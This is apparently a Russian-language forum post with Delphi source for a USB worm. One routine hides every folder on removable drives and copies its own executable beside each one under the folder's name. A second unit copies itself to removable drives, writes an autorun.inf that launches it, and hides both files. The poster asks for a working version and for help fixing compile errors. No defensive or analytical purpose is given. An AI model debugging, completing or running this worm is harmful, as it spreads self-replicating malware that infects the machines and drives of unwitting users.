Код
program Project2;
uses
SysUtils,windows;
var
F: TSearchRec;
i: Integer;
h: THandle;
L: TStringList;
procedure InfectDir(Root: String);
begin
L:=TStringList.Create;
L.Clear;
L.Add(Root);
i := 0;
while i < L.Count do begin
Root := IncludeTrailingBackslash(L.Strings[i]);
h := FindFirst(Root + '*.*', faAnyFile, F);
while h = 0 do begin
if (F.Attr and faDirectory) = faDirectory then begin
if (F.Name <> '.') and (F.Name <> '..') then begin
L.Add(Root + F.Name);
SetFileAttributes(PChar(Root+F.Name),faHidden);
CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
end;
end;
h :=FindNext(F);
end;
FindClose(F);
Inc(i);
end;
L.Free;
end;
procedure InfectUsb;
var
DiskType,ifind : integer;
Drives : set of 0..25;
Drv : char;
begin
try
Integer(Drives):=GetLogicalDrives;
for ifind:=0 to 25 do
if (ifind in Drives) then
begin
Drv:=Char(ifind+Ord('A'));
DiskType:=GetDriveType(PChar(Drv+':\'));
if (DiskType = DRIVE_REMOVABLE) then
begin
InfectDir(PChar(Drv+':\'));
end;
end
except
exit;
end;
end;
begin
end
delphi 7
ошибка на tstring list
необходима рабочая версия
и как использовать процедуру
Код
unit uUSBSpread;
interface
uses
Windows, uInstall, pFunc, uConst;
function InfectUsbDrives(ExeName:string) :Integer;
implementation
function InfectUsbDrives(ExeName:string) :Integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if FileExists(Drive+':\'+ExeName) = False then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
sleep(10);
HideFile(Drive+':\'+ExeName);
sleep(10);
HideFile(Drive+':\autorun.inf');
Result := Result + 1;
end;
except
end;
end;
end;
end;
end.
uconst error
https://www.youtube.com/watch?x....QM#t=20